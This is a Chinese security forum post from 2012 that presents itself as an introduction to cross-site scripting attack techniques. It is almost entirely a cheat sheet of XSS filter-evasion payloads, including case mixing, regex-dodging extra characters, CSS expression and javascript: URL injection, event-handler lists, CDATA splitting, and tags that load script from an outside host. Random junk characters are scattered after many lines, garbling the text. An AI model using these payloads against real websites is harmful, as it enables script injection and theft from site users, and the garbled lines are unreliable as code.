找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2382|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写* d; e3 r7 H3 }) \

: ~, Q$ C' S9 Y* W8 @) [9 ^! I # [. j' {. D$ ?! o

: U4 F- _. I) }    <sCript>alert(‘d’)</scRipT>
+ w- V( l6 a+ m. S, }7 E. w8 g& r% `! i6 z8 n( r' Y& @0 v
2. 利用多加一些其它字符来规避Regular Expression的检查
4 A. h0 x: z, d  j
- U% P& }' A! ^5 K& _    <<script>alert(‘c’)//<</script>
* H5 c# Z4 r, V- v# h% t, y% l* s- e1 G( k9 p: i0 X6 d! ~
    <SCRIPT a=">" SRC="t.js"></SCRIPT>" i" r) c6 H" ?: H
& L! t6 c; J# W
    <SCRIPT =">" SRC="t.js"></SCRIPT>
6 y. l" ^% D1 |# d
2 _$ f1 c: y& X    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>7 D- K9 g+ E- X" Q- j0 o

* s& V) Y5 u7 j% _, D- k    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
) v) v2 ?$ F; D2 ^3 X/ d+ ]. G1 ?: _& d# |0 T4 C) X6 Q# q
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
; N' c6 G3 M; V; n1 j8 A! u' z1 L6 j! j9 F$ \
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
( q/ H* W* j" R1 X4 R7 P( q+ m. d; e/ ~  w* N! O) k
3. 以其它扩展名取代.js
& J( P- U5 t* g8 v  E7 ?! L+ a4 n5 s+ a/ w# Y/ c2 \
    <script src="bad.jpg"></script># |& y3 u; X7 u" q8 Y- \2 w
% Q# _/ |7 L! G4 C7 C8 q5 n% {
4. 将Javascript写在CSS档里
# ~* M/ r* r, |% @1 f# n5 z* t% u" [% b" ?3 a7 ]8 [- l1 \' @
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">" c1 s# b8 D" T0 ]" c+ f. q

0 {( d; E& K6 g* w       example:
( v. F" k: R, O) P0 F" O+ S) @" ?) p1 w/ \2 o) R+ {
          body {
8 ?% T4 G& l$ |: j& }( f4 w0 C4 S1 }2 D4 H! ]0 }
               background-image: url(‘javascript:alert("XSS");’)/ j  k" ]& k6 ]( w* C' ]. r' I) b
' r) m3 l& L: |# B) h
          }, ~5 T5 Q" h; M' {; Z6 e6 r
5 v1 y% s: S9 `  B$ V7 ]  i; q
5. 在script的tag里加入一些其它字符4 F( k/ `3 K- |& l# y- x1 B
  Y) B- o' w% V& x" X6 `
    <SCRIPT/SRC="t.js"></SCRIPT>
, }/ h4 `3 ~9 |
' Q( T+ {+ B3 R& _7 @' Y    <SCRIPT/anyword SRC="t.js"></SCRIPT>
8 I. k& n& `, }+ q1 I( F% e) T$ n* R$ O) ~2 P' f  Y
6. 使用tab或是new line来规避
/ D  I+ v" C) {6 t0 R- z0 H8 N9 [  p! ^: K6 U" v
    <img src="jav ascr ipt:alert(‘XSS3′)">+ x" l8 [  {( ?/ w6 e, ^. q
, i; ]& M3 B. E: N4 t/ P( |
    <img src="jav ascr ipt:alert(‘XSS3′)">
+ R1 g4 f( N  d+ ^8 a9 g' S: Q' E8 ~
    <IMG SRC="jav ascript:alert(‘XSS’);">; Y/ \+ o4 \% u, d3 Z* ^+ \  e) k

& S5 x) S; i8 `         -> tag
/ A) _% I8 h: o5 O9 y5 k, |4 R' i$ _+ A7 u! `7 c  ^2 R3 X. @
         -> new line: q/ c" m0 d7 s* Q. q' @: V  w
. U  h7 H) Z8 N  I
7. 使用"\"来规避: a- m" v, `2 n5 {

' V9 Y) e) J6 f    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
' g: G6 o) G% R7 a% G; W
9 R& K+ g0 k4 l, g; }- f" Y    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>0 P+ ?# V4 ]9 {* X3 f  i
% D+ L( q0 e5 {4 E# \7 `
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">: e8 @" u6 _3 y" X8 D- z
! W, [& N% M* b7 _+ M8 u
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">4 q# o1 T' B- T0 {5 V7 n$ T' S
& f3 C( e: S4 d4 @
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>1 P2 \8 j$ u" r  W6 a/ y

$ S: L- N$ D5 I- I) M8. 使用Hex encode来规避(也可能会把";"拿掉)# a2 h9 R0 V+ y4 ~2 t* ^

5 i2 |. e$ B2 L8 f. i    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
& {6 `2 A2 v3 ^- R$ g/ ^' l: V6 b" R$ j. j$ n' g; U$ y( ~+ I. W
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">4 J5 N  }& w+ x6 \" {
1 o/ F; c1 z& i! l* e: p6 _/ C$ ^
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">0 C& O8 `3 p1 \; y. g+ {7 k3 L0 I
3 U7 b4 s+ C$ ^
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">* ?, X8 x- {4 v2 Z
( H( e* F8 i: O5 I7 N; v9 D
9. script in HTML tag- a( i3 M% T" t2 \: \' f8 a

" e, W$ f2 g1 D( j    <body onload=」alert(‘onload’)」>6 _5 w3 t. I+ R+ J2 g7 [5 e
8 ]( O% I# [) x# d
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload# _; K) L1 l  }6 R: {. `1 a
0 J  E7 V" ^" r+ `9 z; p! p: S
10. 在swf里含有xss的code
8 ]& A* |  F4 O: A
5 f* I9 E0 k/ C    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>$ v1 a3 p+ ?6 z7 j* @

' }5 ^2 p4 h' \/ g$ b( C# i11. 利用CDATA将xss的code拆开,再组合起来。
; V8 ~( G2 n0 N. r% D3 D! O3 w+ t+ y. Y8 w& @9 r( o
    <XML ID=I><X><C>& z+ H& F- T9 d9 B4 p5 p

6 z# w6 g! |1 l0 Y# @/ F3 y, F6 w% _    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>3 j( R, `/ P8 }- z

  Q' r: d( t1 F; U  b1 V$ h    </C></X>
; v$ @* i6 _7 J7 t2 z3 o/ X; R- u' J0 a5 Q! z% ?" x, {
    </xml>
4 L* k/ E2 K; M0 }. ^! |% r# p
( f3 l* E, w; V+ G0 J    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
- z$ l, ]( m6 Z! ~# \* G! R0 w5 B, S5 _: m
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
! P$ y; ?0 {8 r$ P
! W2 x; Z* H+ b    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
+ g( P( w& ^  ?; [
3 U" o4 \5 G' K3 }  x0 P0 o4 x; T( ?12. 利用HTML+TIME。
- I5 p0 m$ v9 e9 B  f0 Z2 K
; [4 o) h5 \6 O4 D; |9 h5 P0 ^    <HTML><BODY>
$ {# @* @0 n( Y4 X& \5 b5 A4 b$ a' {4 M1 I5 e$ k# P
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
& V3 |; Q, @2 S3 _3 a6 `0 Z8 J* s) M. j% T" L' n
    <?import namespace="t" implementation="#default#time2">
: j# l# Q. U; r! V8 ]# M1 g* g, F. F: n# X
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">7 u$ W/ `! o" O8 H6 K
# N! F( T8 u! ?  g
    </BODY></HTML>9 e( S! [& x; N* }! E* A

( t3 j6 B9 b  ~& W% i5 t13. 透过META写入Cookie。
3 w" s5 Z" S0 _  P' z6 u6 [5 S
$ J8 B$ d5 k0 W( r2 S7 W. n    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
; B8 X7 u4 F7 z4 \+ B
, X% C  V- Z1 n6 s& Y' S5 U14. javascript in src , href , url
5 L/ _4 W0 A  b4 C0 j4 F
; H; G6 t& ~8 t$ k* C& q+ A    <IFRAME SRC=javascript:alert(’13′)></IFRAME># x# y% y% o$ J5 g+ I7 ~8 X" ?

4 b' c+ k2 E' Z5 j- P    <img src="javascript:alert(‘XSS3′)">( _# n0 [4 J' v
. Y$ N  I" C; \
<IMG DYNSRC="javascript:alert(‘XSS20′)">" ]6 R2 }. H1 Q/ g" M; M

8 @$ R: C' g/ {: z9 I' F, z    <IMG LOWSRC="javascript:alert(‘XSS21′)">( o" E' n* d4 I

$ [+ D. H3 D& z0 T( b5 t    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">; l" b; _! j/ @% U/ J

( A8 S" p- v  W( e& H    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>7 b4 s1 D* N7 }! r0 N+ C4 h
5 O: n5 F2 ]2 N- k' o+ @
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
: O1 m4 `' c# o  {4 @# O% _5 g2 H: p( c, J; j/ X
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
, ^+ F* k2 {7 w9 X+ \4 g2 t( ]7 M+ u2 d0 {7 d+ O
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
# |' O9 M( |  Q9 J4 C/ M' V& k6 [, I, }* Y
    </STYLE><A CLASS=XSS></A>! T* g: J$ b: i- |/ E

8 \9 C2 o9 I: P% b    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
" C9 }' K/ l& [
/ f* h; k  @* Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表